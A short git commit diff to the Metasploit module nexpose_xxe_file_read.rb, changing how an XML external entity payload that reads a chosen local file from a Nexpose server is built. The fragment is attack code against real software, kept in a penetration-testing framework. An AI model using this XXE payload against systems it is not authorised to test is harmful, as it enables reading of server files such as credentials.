Fix nexpose_xxe_file_read datastore

2015-02-05 01:41:35 -06:00 · 2015-02-05 01:41:35 -06:00 · c22865fb71
parent 5b2eb986c9
commit c22865fb71
1 changed files with 1 additions and 1 deletions
--- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb
+++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb
@ -74,7 +74,7 @@ class Metasploit4 < Msf::Auxiliary

    xml = '<!DOCTYPE foo ['
    xml << '<!ELEMENT host ANY>'
-    xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
+    xml << %Q{<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">}
    xml << ']>'
    xml << '<SiteSaveRequest session-id="'